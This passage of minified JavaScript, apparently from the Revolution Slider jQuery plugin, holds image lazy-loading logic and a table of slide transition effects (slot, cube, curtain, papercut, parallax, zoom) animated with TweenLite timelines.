'+'style="position:absolute;'+"top:"+0+"px;"+"left:"+0+"px;"+"width:"+m+"px;"+"height:"+m+"px;"+'overflow:hidden;">'+'<div style="position:absolute;'+"top:"+(0-b)+"px;"+"left:"+(0-g)+"px;"+"width:"+c+"px;"+"height:"+h+"px;"+"background-color:"+l+";"+"background-image:url("+a+");"+"background-repeat:"+E+";"+"background-size:"+w+";background-position:"+x+';">'+"</div></div></div>");b=b+m;if(f(8)){i.find(".slot ").last().find(".slotslide").append('<img src="'+v+'">');S(i,n)}if(o!=t&&u!=t)punchgs.TweenLite.set(i.find(".slot").last(),{rotationZ:u})}g=g+m}};var S=function(e,t){if(f(8)){var n=e.find(".ieeightfallbackimage");var r=n.width(),i=n.height();if(t.startwidth/t.startheight<e.data("owidth")/e.data("oheight"))n.css({width:"auto",height:"100%"});else n.css({width:"100%",height:"auto"});setTimeout(function(){var r=n.width(),i=n.height();if(e.data("bgposition")=="center center")n.css({position:"absolute",top:t.height/2-i/2+"px",left:t.width/2-r/2+"px"});if(e.data("bgposition")=="center top"||e.data("bgposition")=="top center")n.css({position:"absolute",top:"0px",left:t.width/2-r/2+"px"});if(e.data("bgposition")=="center bottom"||e.data("bgposition")=="bottom center")n.css({position:"absolute",bottom:"0px",left:t.width/2-r/2+"px"});if(e.data("bgposition")=="right top"||e.data("bgposition")=="top right")n.css({position:"absolute",top:"0px",right:"0px"});if(e.data("bgposition")=="right bottom"||e.data("bgposition")=="bottom right")n.css({position:"absolute",bottom:"0px",right:"0px"});if(e.data("bgposition")=="right center"||e.data("bgposition")=="center right")n.css({position:"absolute",top:t.height/2-i/2+"px",right:"0px"});if(e.data("bgposition")=="left bottom"||e.data("bgposition")=="bottom left")n.css({position:"absolute",bottom:"0px",left:"0px"});if(e.data("bgposition")=="left center"||e.data("bgposition")=="center left")n.css({position:"absolute",top:t.height/2-i/2+"px",left:"0px"})},20)}};var x=function(t,n,r){r.find(".slot").each(function(){e(this).remove()});n.transition=0};var T=function(n,r){n.find("img, .defaultimg").each(function(n){var i=e(this);if(i.data("lazyload")!=i.attr("src")&&r<3&&i.data("lazyload")!=t&&i.data("lazyload")!="undefined"){if(i.data("lazyload")!=t&&i.data("lazyload")!="undefined"){i.attr("src",i.data("lazyload"));var s=new Image;s.onload=function(e){i.data("lazydone",1);if(i.hasClass("defaultimg"))N(i,s)};s.error=function(){i.data("lazydone",1)};s.src=i.attr("src");if(s.complete){if(i.hasClass("defaultimg"))N(i,s);i.data("lazydone",1)}}}else{if((i.data("lazyload")===t||i.data("lazyload")==="undefined")&&i.data("lazydone")!=1){var s=new Image;s.onload=function(){if(i.hasClass("defaultimg"))N(i,s);i.data("lazydone",1)};s.error=function(){i.data("lazydone",1)};if(i.attr("src")!=t&&i.attr("src")!="undefined"){s.src=i.attr("src")}else s.src=i.data("src");if(s.complete){if(i.hasClass("defaultimg")){N(i,s)}i.data("lazydone",1)}}}})};var N=function(e,t){var n=e.closest("li");var r=t.width;var i=t.height;n.data("owidth",r);n.data("oheight",i);n.find(".slotholder").data("owidth",r);n.find(".slotholder").data("oheight",i);n.data("loadeddone",1)};var C=function(n,r,i){T(n,0);var s=setInterval(function(){i.bannertimeronpause=true;i.container.trigger("stoptimer");i.cd=0;var o=0;n.find("img, .defaultimg").each(function(t){if(e(this).data("lazydone")!=1){o++}});if(o>0)T(n,o);else{clearInterval(s);if(r!=t)r()}},100)};var k=function(e,n){try{var r=e.find(">ul:first-child >li:eq("+n.act+")")}catch(i){var r=e.find(">ul:first-child >li:eq(1)")}n.lastslide=n.act;var s=e.find(">ul:first-child >li:eq("+n.next+")");var o=s.find(".defaultimg");n.bannertimeronpause=true;e.trigger("stoptimer");n.cd=0;if(o.data("lazyload")!=t&&o.data("lazyload")!="undefined"&&o.data("lazydone")!=1){if(!f(8))o.css({backgroundImage:'url("'+s.find(".defaultimg").data("lazyload")+'")'});else{o.attr("src",s.find(".defaultimg").data("lazyload"))}o.data("src",s.find(".defaultimg").data("lazyload"));o.data("lazydone",1);o.data("orgw",0);s.data("loadeddone",1);e.find(".tp-loader").css({display:"block"});C(e.find(".tp-static-layers"),function(){C(s,function(){var t=s.find(".slotholder");if(t.data("kenburns")=="on"){var r=setInterval(function(){var i=t.data("owidth");if(i>=0){clearInterval(r);L(n,o,e)}},10)}else L(n,o,e)},n)},n)}else{if(s.data("loadeddone")===t){s.data("loadeddone",1);C(s,function(){L(n,o,e)},n)}else L(n,o,e)}};var L=function(e,t,n){e.bannertimeronpause=false;e.cd=0;n.trigger("nulltimer");n.find(".tp-loader").css({display:"none"});y(t,e);m(n,e);y(t,e);A(n,e)};var A=function(e,n){e.trigger("revolution.slide.onbeforeswap");n.transition=1;n.videoplaying=false;try{var r=e.find(">ul:first-child >li:eq("+n.act+")")}catch(i){var r=e.find(">ul:first-child >li:eq(1)")}n.lastslide=n.act;var s=e.find(">ul:first-child >li:eq("+n.next+")");setTimeout(function(){g(n)},200);var o=r.find(".slotholder");var u=s.find(".slotholder");if(u.data("kenburns")=="on"||o.data("kenburns")=="on"){tt(e,n);e.find(".kenburnimg").remove()}if(s.data("delay")!=t){n.cd=0;n.delay=s.data("delay")}else{n.delay=n.origcd}if(n.firststart==1)punchgs.TweenLite.set(r,{autoAlpha:0});punchgs.TweenLite.set(r,{zIndex:18});punchgs.TweenLite.set(s,{autoAlpha:0,zIndex:20});var a=0;if(r.index()!=s.index()&&n.firststart!=1){a=X(r,n)}if(r.data("saveperformance")!="on")a=0;setTimeout(function(){e.trigger("restarttimer");O(e,n,s,r,o,u)},a)};var O=function(n,r,i,s,o,u){function T(){e.each(d,function(e,t){if(t[0]==h||t[8]==h){a=t[1];p=t[2];g=y}y=y+1})}if(i.data("differentissplayed")=="prepared"){i.data("differentissplayed","done");i.data("transition",i.data("savedtransition"));i.data("slotamount",i.data("savedslotamount"));i.data("masterspeed",i.data("savedmasterspeed"))}if(i.data("fstransition")!=t&&i.data("differentissplayed")!="done"){i.data("savedtransition",i.data("transition"));i.data("savedslotamount",i.data("slotamount"));i.data("savedmasterspeed",i.data("masterspeed"));i.data("transition",i.data("fstransition"));i.data("slotamount",i.data("fsslotamount"));i.data("masterspeed",i.data("fsmasterspeed"));i.data("differentissplayed","prepared")}n.find(".active-revslide").removeClass(".active-revslide");i.addClass("active-revslide");if(i.data("transition")==t)i.data("transition","random");var a=0,l=i.data("transition").split(","),c=i.data("nexttransid")==t?-1:i.data("nexttransid");if(i.data("randomtransition")=="on")c=Math.round(Math.random()*l.length);else c=c+1;if(c==l.length)c=0;i.data("nexttransid",c);var h=l[c];if(r.ie){if(h=="boxfade")h="boxslide";if(h=="slotfade-vertical")h="slotzoom-vertical";if(h=="slotfade-horizontal")h="slotzoom-horizontal"}if(f(8)){h=11}var p=0;if(r.parallax=="scroll"&&r.parallaxFirstGo==t){r.parallaxFirstGo=true;rt(n,r);setTimeout(function(){rt(n,r)},210);setTimeout(function(){rt(n,r)},420)}if(h=="boxslide"||h=="boxfade"||h=="papercut"||h==0||h==1||h==16)h=9;if(h=="slidehorizontal"){h="slideleft";if(r.leftarrowpressed==1)h="slideright"}if(h=="slidevertical"){h="slideup";if(r.leftarrowpressed==1)h="slidedown"}if(h=="parallaxhorizontal"){h="parallaxtoleft";if(r.leftarrowpressed==1)h="parallaxtoright"}if(h=="parallaxvertical"){h="parallaxtotop";if(r.leftarrowpressed==1)h="parallaxtobottom"}var d=[["boxslide",0,1,10,0,"box",false,null,0],["boxfade",1,0,10,0,"box",false,null,1],["slotslide-horizontal",2,0,0,200,"horizontal",true,false,2],["slotslide-vertical",3,0,0,200,"vertical",true,false,3],["curtain-1",4,3,0,0,"horizontal",true,true,4],["curtain-2",5,3,0,0,"horizontal",true,true,5],["curtain-3",6,3,25,0,"horizontal",true,true,6],["slotzoom-horizontal",7,0,0,400,"horizontal",true,true,7],["slotzoom-vertical",8,0,0,0,"vertical",true,true,8],["slotfade-horizontal",9,0,0,500,"horizontal",true,null,9],["slotfade-vertical",10,0,0,500,"vertical",true,null,10],["fade",11,0,1,300,"horizontal",true,null,11],["slideleft",12,0,1,0,"horizontal",true,true,12],["slideup",13,0,1,0,"horizontal",true,true,13],["slidedown",14,0,1,0,"horizontal",true,true,14],["slideright",15,0,1,0,"horizontal",true,true,15],["papercut",16,0,0,600,"",null,null,16],["3dcurtain-horizontal",17,0,20,100,"vertical",false,true,17],["3dcurtain-vertical",18,0,10,100,"horizontal",false,true,18],["cubic",19,0,20,600,"horizontal",false,true,19],["cube",19,0,20,600,"horizontal",false,true,20],["flyin",20,0,4,600,"vertical",false,true,21],["turnoff",21,0,1,1600,"horizontal",false,true,22],["incube",22,0,20,200,"horizontal",false,true,23],["cubic-horizontal",23,0,20,500,"vertical",false,true,24],["cube-horizontal",23,0,20,500,"vertical",false,true,25],["incube-horizontal",24,0,20,500,"vertical",false,true,26],["turnoff-vertical",25,0,1,200,"horizontal",false,true,27],["fadefromright",12,1,1,0,"horizontal",true,true,28],["fadefromleft",15,1,1,0,"horizontal",true,true,29],["fadefromtop",14,1,1,0,"horizontal",true,true,30],["fadefrombottom",13,1,1,0,"horizontal",true,true,31],["fadetoleftfadefromright",12,2,1,0,"horizontal",true,true,32],["fadetorightfadetoleft",15,2,1,0,"horizontal",true,true,33],["fadetobottomfadefromtop",14,2,1,0,"horizontal",true,true,34],["fadetotopfadefrombottom",13,2,1,0,"horizontal",true,true,35],["parallaxtoright",12,3,1,0,"horizontal",true,true,36],["parallaxtoleft",15,3,1,0,"horizontal",true,true,37],["parallaxtotop",14,3,1,0,"horizontal",true,true,38],["parallaxtobottom",13,3,1,0,"horizontal",true,true,39],["scaledownfromright",12,4,1,0,"horizontal",true,true,40],["scaledownfromleft",15,4,1,0,"horizontal",true,true,41],["scaledownfromtop",14,4,1,0,"horizontal",true,true,42],["scaledownfrombottom",13,4,1,0,"horizontal",true,true,43],["zoomout",13,5,1,0,"horizontal",true,true,44],["zoomin",13,6,1,0,"horizontal",true,true,45],["notransition",26,0,1,0,"horizontal",true,null,46]];var v=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45];var m=[16,17,18,19,20,21,22,23,24,25,26,27];var a=0;var p=1;var g=0;var y=0;var b=new Array;if(u.data("kenburns")=="on"){if(h=="boxslide"||h==0||h=="boxfade"||h==1||h=="papercut"||h==16)h=11;Y(n,r,true,true)}if(h=="random"){h=Math.round(Math.random()*d.length-1);if(h>d.length-1)h=d.length-1}if(h=="random-static"){h=Math.round(Math.random()*v.length-1);if(h>v.length-1)h=v.length-1;h=v[h]}if(h=="random-premium"){h=Math.round(Math.random()*m.length-1);if(h>m.length-1)h=m.length-1;h=m[h]}var S=[12,13,14,15,16,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45];if(r.isJoomla==true&&window.MooTools!=t&&S.indexOf(h)!=-1){var x=Math.round(Math.random()*(m.length-2))+1;if(x>m.length-1)x=m.length-1;if(x==0)x=1;h=m[x]}T();if(f(8)&&a>15&&a<28){h=Math.round(Math.random()*v.length-1);if(h>v.length-1)h=v.length-1;h=v[h];y=0;T()}var N=-1;if(r.leftarrowpressed==1||r.act>r.next)N=1;r.leftarrowpressed=0;if(a>26)a=26;if(a<0)a=0;var C=300;if(i.data("masterspeed")!=t&&i.data("masterspeed")>99&&i.data("masterspeed")<4001)C=i.data("masterspeed");b=d[g];n.parent().find(".bullet").each(function(){var t=e(this);t.removeClass("selected");if(r.navigationArrows=="withbullet"||r.navigationArrows=="nexttobullets"){if(t.index()-1==r.next)t.addClass("selected")}else{if(t.index()==r.next)t.addClass("selected")}});var k=new punchgs.TimelineLite({onComplete:function(){M(n,r,u,o,i,s,k)}});k.add(punchgs.TweenLite.set(u.find(".defaultimg"),{opacity:0}));k.pause();if(i.data("slotamount")==t||i.data("slotamount")<1){r.slots=Math.round(Math.random()*12+4);if(h=="boxslide")r.slots=Math.round(Math.random()*6+3);else if(h=="flyin")r.slots=Math.round(Math.random()*4+1)}else{r.slots=i.data("slotamount")}if(i.data("rotate")==t)r.rotate=0;else if(i.data("rotate")==999)r.rotate=Math.round(Math.random()*360);else r.rotate=i.data("rotate");if(!e.support.transition||r.ie||r.ie9)r.rotate=0;if(r.firststart==1)r.firststart=0;C=C+b[4];if((a==4||a==5||a==6)&&r.slots<3)r.slots=3;if(b[3]!=0)r.slots=Math.min(r.slots,b[3]);if(a==9)r.slots=r.width/20;if(a==10)r.slots=r.height/20;if(b[5]=="box"){if(b[7]!=null)E(o,r,b[7]);if(b[6]!=null)E(u,r,b[6])}else if(b[5]=="vertical"||b[5]=="horizontal"){if(b[7]!=null)w(o,r,b[7],b[5]);if(b[6]!=null)w(u,r,b[6],b[5])}if(a==0){var L=Math.ceil(r.height/r.sloth);var A=0;u.find(".slotslide").each(function(t){var n=e(this);A=A+1;if(A==L)A=0;k.add(punchgs.TweenLite.from(n,C/600,{opacity:0,top:0-r.sloth,left:0-r.slotw,rotation:r.rotate,force3D:"auto",ease:punchgs.Power2.easeOut}),(t*15+A*30)/1500)})}if(a==1){var O,_=0;u.find(".slotslide").each(function(t){var n=e(this);rand=Math.random()*C+300;rand2=Math.random()*500+200;if(rand+rand2>O){O=rand2+rand2;_=t}k.add(punchgs.TweenLite.from(n,rand/1e3,{autoAlpha:0,force3D:"auto",rotation:r.rotate,ease:punchgs.Power2.easeInOut}),rand2/1e3)})}if(a==2){var D=new punchgs.TimelineLite;o.find(".slotslide").each(function(){var t=e(this);D.add(punchgs.TweenLite.to(t,C/1e3,{left:r.slotw,force3D:"auto",rotation:0-r.rotate}),0);k.add(D,0)});u.find(".slotslide").each(function(){var t=e(this);D.add(punchgs.TweenLite.from(t,C/1e3,{left:0-r.slotw,force3D:"auto",rotation:r.rotate}),0);k.add(D,0)})}if(a==3){var D=new punchgs.TimelineLite;o.find(".slotslide").each(function(){var t=e(this);D.add(punchgs.TweenLite.to(t,C/1e3,{top:r.sloth,rotation:r.rotate,force3D:"auto",transformPerspective:600}),0);k.add(D,0)});u.find(".slotslide").each(function(){var t=e(this);D.add(punchgs.TweenLite.from(t,C/1e3,{top:0-r.sloth,rotation:r.rotate,ease:punchgs.Power2.easeOut,force3D:"auto",transformPerspective:600}),0);k.add(D,0)})}if(a==4||a==5){setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);var P=C/1e3,H=P,D=new punchgs.TimelineLite;o.find(".slotslide").each(function(t){var n=e(this);var i=t*P/r.slots;if(a==5)i=(r.slots-t-1)*P/r.slots/1.5;D.add(punchgs.TweenLite.to(n,P*3,{transformPerspective:600,force3D:"auto",top:0+r.height,opacity:.5,rotation:r.rotate,ease:punchgs.Power2.easeInOut,delay:i}),0);k.add(D,0)});u.find(".slotslide").each(function(t){var n=e(this);var i=t*P/r.slots;if(a==5)i=(r.slots-t-1)*P/r.slots/1.5;D.add(punchgs.TweenLite.from(n,P*3,{top:0-r.height,opacity:.5,rotation:r.rotate,force3D:"auto",ease:punchgs.Power2.easeInOut,delay:i}),0);k.add(D,0)})}if(a==6){if(r.slots<2)r.slots=2;if(r.slots%2)r.slots=r.slots+1;var D=new punchgs.TimelineLite;setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);o.find(".slotslide").each(function(t){var n=e(this);if(t+1<r.slots/2)var i=(t+2)*90;else var i=(2+r.slots-t)*90;D.add(punchgs.TweenLite.to(n,(C+i)/1e3,{top:0+r.height,opacity:1,force3D:"auto",rotation:r.rotate,ease:punchgs.Power2.easeInOut}),0);k.add(D,0)});u.find(".slotslide").each(function(t){var n=e(this);if(t+1<r.slots/2)var i=(t+2)*90;else var i=(2+r.slots-t)*90;D.add(punchgs.TweenLite.from(n,(C+i)/1e3,{top:0-r.height,opacity:1,force3D:"auto",rotation:r.rotate,ease:punchgs.Power2.easeInOut}),0);k.add(D,0)})}if(a==7){C=C*2;var D=new punchgs.TimelineLite;setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);o.find(".slotslide").each(function(){var t=e(this).find("div");D.add(punchgs.TweenLite.to(t,C/1e3,{left:0-r.slotw/2+"px",top:0-r.height/2+"px",width:r.slotw*2+"px",height:r.height*2+"px",opacity:0,rotation:r.rotate,force3D:"auto",ease:punchgs.Power2.easeOut}),0);k.add(D,0)});u.find(".slotslide").each(function(t){var n=e(this).find("div");D.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:0,top:0,opacity:0,transformPerspective:600},{left:0-t*r.slotw+"px",ease:punchgs.Power2.easeOut,force3D:"auto",top:0+"px",width:r.width,height:r.height,opacity:1,rotation:0,delay:.1}),0);k.add(D,0)})}if(a==8){C=C*3;var D=new punchgs.TimelineLite;o.find(".slotslide").each(function(){var t=e(this).find("div");D.add(punchgs.TweenLite.to(t,C/1e3,{left:0-r.width/2+"px",top:0-r.sloth/2+"px",width:r.width*2+"px",height:r.sloth*2+"px",force3D:"auto",opacity:0,rotation:r.rotate}),0);k.add(D,0)});u.find(".slotslide").each(function(t){var n=e(this).find("div");D.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:0,top:0,opacity:0,force3D:"auto"},{left:0+"px",top:0-t*r.sloth+"px",width:u.find(".defaultimg").data("neww")+"px",height:u.find(".defaultimg").data("newh")+"px",opacity:1,rotation:0}),0);k.add(D,0)})}if(a==9||a==10){var B=0;u.find(".slotslide").each(function(t){var n=e(this);B++;k.add(punchgs.TweenLite.fromTo(n,C/1e3,{autoAlpha:0,force3D:"auto",transformPerspective:600},{autoAlpha:1,ease:punchgs.Power2.easeInOut,delay:t*5/1e3}),0)})}if(a==11||a==26){var B=0;if(a==26)C=0;u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.from(n,C/1e3,{autoAlpha:0,force3D:"auto",ease:punchgs.Power2.easeInOut}),0)})}if(a==12||a==13||a==14||a==15){C=1e3;setTimeout(function(){punchgs.TweenLite.set(o.find(".defaultimg"),{autoAlpha:0})},100);var j=r.width;var F=r.height;var q=u.find(".slotslide");if(r.fullWidth=="on"||r.fullScreen=="on"){j=q.width();F=q.height()}var R=0;var U=0;if(a==12)R=j;else if(a==15)R=0-j;else if(a==13)U=F;else if(a==14)U=0-F;var z=1;var W=1;var X=1;var V=punchgs.Power2.easeInOut;var $=punchgs.Power2.easeInOut;var J=C/1e3;var K=J;if(p==1)z=0;if(p==2)z=0;if(p==3){V=punchgs.Power2.easeInOut;$=punchgs.Power1.easeInOut;J=C/1200}if(p==4||p==5)W=.6;if(p==6)W=1.4;if(p==5||p==6){X=1.4;z=0;j=0;F=0;R=0;U=0}if(p==6)X=.6;var Q=0;k.add(punchgs.TweenLite.from(q,J,{left:R,top:U,scale:X,opacity:z,rotation:r.rotate,ease:$,force3D:"auto"}),0);var G=o.find(".slotslide");if(p==4||p==5){j=0;F=0}if(p!=1){if(a==12)k.add(punchgs.TweenLite.to(G,K,{left:0-j+"px",force3D:"auto",scale:W,opacity:z,rotation:r.rotate,ease:V}),0);else if(a==15)k.add(punchgs.TweenLite.to(G,K,{left:j+"px",force3D:"auto",scale:W,opacity:z,rotation:r.rotate,ease:V}),0);else if(a==13)k.add(punchgs.TweenLite.to(G,K,{top:0-F+"px",force3D:"auto",scale:W,opacity:z,rotation:r.rotate,ease:V}),0);else if(a==14)k.add(punchgs.TweenLite.to(G,K,{top:F+"px",force3D:"auto",scale:W,opacity:z,rotation:r.rotate,ease:V}),0)}}if(a==16){var D=new punchgs.TimelineLite;k.add(punchgs.TweenLite.set(s,{position:"absolute","z-index":20}),0);k.add(punchgs.TweenLite.set(i,{position:"absolute","z-index":15}),0);s.wrapInner('<div class="tp-half-one" style="position:relative; width:100%;height:100%"></div>');s.find(".tp-half-one").clone(true).appendTo(s).addClass("tp-half-two");s.find(".tp-half-two").removeClass("tp-half-one");var j=r.width;var F=r.height;if(r.autoHeight=="on")F=n.height();s.find(".tp-half-one .defaultimg").wrap('<div class="tp-papercut" style="width:'+j+"px;height:"+F+'px;"></div>');s.find(".tp-half-two .defaultimg").wrap('<div class="tp-papercut" style="width:'+j+"px;height:"+F+'px;"></div>');s.find(".tp-half-two .defaultimg").css({position:"absolute",top:"-50%"});s.find(".tp-half-two .tp-caption").wrapAll('<div style="position:absolute;top:-50%;left:0px;"></div>');k.add(punchgs.TweenLite.set(s.find(".tp-half-two"),{width:j,height:F,overflow:"hidden",zIndex:15,position:"absolute",top:F/2,left:"0px",transformPerspective:600,transformOrigin:"center bottom"}),0);k.add(punchgs.TweenLite.set(s.find(".tp-half-one"),{width:j,height:F/2,overflow:"visible",zIndex:10,position:"absolute",top:"0px",left:"0px",transformPerspective:600,transformOrigin:"center top"}),0);var Z=s.find(".defaultimg");var et=Math.round(Math.random()*20-10),tt=Math.round(Math.random()*20-10),nt=Math.round(Math.random()*20-10),it=Math.random()*.4-.2,st=Math.random()*.4-.2,ot=Math.random()*1+1,ut=Math.random()*1+1,at=Math.random()*.3+.3;k.add(punchgs.TweenLite.set(s.find(".tp-half-one"),{overflow:"hidden"}),0);k.add(punchgs.TweenLite.fromTo(s.find(".tp-half-one"),C/800,{width:j,height:F/2,position:"absolute",top:"0px",left:"0px",force3D:"auto",transformOrigin:"center top"},{scale:ot,rotation:et,y:0-F-F/4,autoAlpha:0,ease:punchgs.Power2.easeInOut}),0);k.add(punchgs.TweenLite.fromTo(s.find(".tp-half-two"),C/800,{width:j,height:F,overflow:"hidden",position:"absolute",top:F/2,left:"0px",force3D:"auto",transformOrigin:"center bottom"},{scale:ut,rotation:tt,y:F+F/4,ease:punchgs.Power2.easeInOut,autoAlpha:0,onComplete:function(){punchgs.TweenLite.set(s,{position:"absolute","z-index":15});punchgs.TweenLite.set(i,{position:"absolute","z-index":20});if(s.find(".tp-half-one").length>0){s.find(".tp-half-one .defaultimg").unwrap();s.find(".tp-half-one .slotholder").unwrap()}s.find(".tp-half-two").remove()}}),0);D.add(punchgs.TweenLite.set(u.find(".defaultimg"),{autoAlpha:1}),0);if(s.html()!=null)k.add(punchgs.TweenLite.fromTo(i,(C-200)/1e3,{scale:at,x:r.width/4*it,y:F/4*st,rotation:nt,force3D:"auto",transformOrigin:"center center",ease:punchgs.Power2.easeOut},{autoAlpha:1,scale:1,x:0,y:0,rotation:0}),0);k.add(D,0)}if(a==17){u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/800,{opacity:0,rotationY:0,scale:.9,rotationX:-110,force3D:"auto",transformPerspective:600,transformOrigin:"center center"},{opacity:1,top:0,left:0,scale:1,rotation:0,rotationX:0,force3D:"auto",rotationY:0,ease:punchgs.Power3.easeOut,delay:t*.06}),0)})}if(a==18){u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/500,{autoAlpha:0,rotationY:310,scale:.9,rotationX:10,force3D:"auto",transformPerspective:600,transformOrigin:"center center"},{autoAlpha:1,top:0,left:0,scale:1,rotation:0,rotationX:0,force3D:"auto",rotationY:0,ease:punchgs.Power3.easeOut,delay:t*.06}),0)})}if(a==19||a==22){var D=new punchgs.TimelineLite;k.add(punchgs.TweenLite.set(s,{zIndex:20}),0);k.add(punchgs.TweenLite.set(i,{zIndex:20}),0);setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);var ft=i.css("z-index"),lt=s.css("z-index"),ct=90,z=1;if(N==1)ct=-90;if(a==19){var ht="center center -"+r.height/2;z=0}else{var ht="center center "+r.height/2}punchgs.TweenLite.set(n,{transformStyle:"flat",backfaceVisibility:"hidden",transformPerspective:600});u.find(".slotslide").each(function(t){var n=e(this);D.add(punchgs.TweenLite.fromTo(n,C/1e3,{transformStyle:"flat",backfaceVisibility:"hidden",left:0,rotationY:r.rotate,z:10,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationX:ct},{left:0,rotationY:0,top:0,z:0,scale:1,force3D:"auto",rotationX:0,delay:t*50/1e3,ease:punchgs.Power2.easeInOut}),0);D.add(punchgs.TweenLite.to(n,.1,{autoAlpha:1,delay:t*50/1e3}),0);k.add(D)});o.find(".slotslide").each(function(t){var n=e(this);var i=-90;if(N==1)i=90;D.add(punchgs.TweenLite.fromTo(n,C/1e3,{transformStyle:"flat",backfaceVisibility:"hidden",autoAlpha:1,rotationY:0,top:0,z:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationX:0},{autoAlpha:1,rotationY:r.rotate,top:0,z:10,scale:1,rotationX:i,delay:t*50/1e3,force3D:"auto",ease:punchgs.Power2.easeInOut}),0);k.add(D)})}if(a==20){setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);var ft=i.css("z-index");var lt=s.css("z-index");if(N==1){var pt=-r.width;var ct=70;var ht="left center -"+r.height/2}else{var pt=r.width;var ct=-70;var ht="right center -"+r.height/2}u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/1500,{left:pt,rotationX:40,z:-600,opacity:z,top:0,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationY:ct},{left:0,delay:t*50/1e3,ease:punchgs.Power2.easeInOut}),0);k.add(punchgs.TweenLite.fromTo(n,C/1e3,{rotationX:40,z:-600,opacity:z,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationY:ct},{rotationX:0,opacity:1,top:0,z:0,scale:1,rotationY:0,delay:t*50/1e3,ease:punchgs.Power2.easeInOut}),0);k.add(punchgs.TweenLite.to(n,.1,{opacity:1,force3D:"auto",delay:t*50/1e3+C/2e3}),0)});o.find(".slotslide").each(function(t){var n=e(this);if(N!=1){var i=-r.width;var s=70;var o="left center -"+r.height/2}else{var i=r.width;var s=-70;var o="right center -"+r.height/2}k.add(punchgs.TweenLite.fromTo(n,C/1e3,{opacity:1,rotationX:0,top:0,z:0,scale:1,left:0,force3D:"auto",transformPerspective:600,transformOrigin:o,rotationY:0},{opacity:1,rotationX:40,top:0,z:-600,left:i,force3D:"auto",scale:.8,rotationY:s,delay:t*50/1e3,ease:punchgs.Power2.easeInOut}),0);k.add(punchgs.TweenLite.to(n,.1,{force3D:"auto",opacity:0,delay:t*50/1e3+(C/1e3-C/1e4)}),0)})}if(a==21||a==25){setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);var ft=i.css("z-index");var lt=s.css("z-index");if(N==1){var pt=-r.width;var ct=90;if(a==25){var ht="center top 0";rot2=-ct;ct=r.rotate}else{var ht="left center 0";rot2=r.rotate}}else{var pt=r.width;var ct=-90;if(a==25){var ht="center bottom 0";rot2=-ct;ct=r.rotate}else{var ht="right center 0";rot2=r.rotate}}u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:0,transformStyle:"flat",rotationX:rot2,z:0,autoAlpha:0,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationY:ct},{left:0,rotationX:0,top:0,z:0,autoAlpha:1,scale:1,rotationY:0,force3D:"auto",ease:punchgs.Power3.easeInOut}),0)});if(N!=1){var pt=-r.width;var ct=90;if(a==25){var ht="center top 0";rot2=-ct;ct=r.rotate}else{var ht="left center 0";rot2=r.rotate}}else{var pt=r.width;var ct=-90;if(a==25){var ht="center bottom 0";rot2=-ct;ct=r.rotate}else{var ht="right center 0";rot2=r.rotate}}o.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:0,transformStyle:"flat",rotationX:0,z:0,autoAlpha:1,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationY:0},{left:0,rotationX:rot2,top:0,z:0,autoAlpha:1,force3D:"auto",scale:1,rotationY:ct,ease:punchgs.Power1.easeInOut}),0)})}if(a==23||a==24){setTimeout(function(){o.find(".defaultimg").css({opacity:0})},100);var ft=i.css("z-index");var lt=s.css("z-index");var ct=-90;if(N==1)ct=90;var z=1;if(a==23){var ht="center center -"+r.width/2;z=0}else{var ht="center center "+r.width/2}var dt=0;punchgs.TweenLite.set(n,{transformStyle:"preserve-3d",backfaceVisibility:"hidden",perspective:2500});u.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:dt,rotationX:r.rotate,force3D:"auto",opacity:z,top:0,scale:1,transformPerspective:600,transformOrigin:ht,rotationY:ct},{left:0,rotationX:0,autoAlpha:1,top:0,z:0,scale:1,rotationY:0,delay:t*50/500,ease:punchgs.Power2.easeInOut}),0)});ct=90;if(N==1)ct=-90;o.find(".slotslide").each(function(t){var n=e(this);k.add(punchgs.TweenLite.fromTo(n,C/1e3,{left:0,autoAlpha:1,rotationX:0,top:0,z:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:ht,rotationY:0},{left:dt,autoAlpha:1,rotationX:r.rotate,top:0,scale:1,rotationY:ct,delay:t*50/500,ease:punchgs.Power2.easeInOut}),0)})}k.pause();I(i,r,null,k);punchgs.TweenLite.to(i,.001,{autoAlpha:1});var vt={};vt.slideIndex=r.next+1;vt.slide=i;n.trigger("revolution.slide.onchange",vt);setTimeout(function(){n.trigger("revolution.slide.onafterswap")},C);n.trigger("revolution.slide.onvideostop")};var M=function(e,t,n,r,i,s,o){punchgs.TweenLite.to(n.find(".defaultimg"),.001,{autoAlpha:1,onComplete:function(){x(e,t,i)}});if(i.index()!=s.index()){punchgs.TweenLite.to(s,.2,{autoAlpha:0,onComplete:function(){x(e,t,s)}})}t.act=t.next;if(t.navigationType=="thumb")st(e);if(n.data("kenburns")=="on"){Y(e,t)}e.find(".current-sr-slide-visible").removeClass("current-sr-slide-visible");i.addClass("current-sr-slide-visible");if(t.parallax=="scroll"||t.parallax=="scroll+mouse"||t.parallax=="mouse+scroll"){rt(e,t)}o.clear()};var _=function(t){var 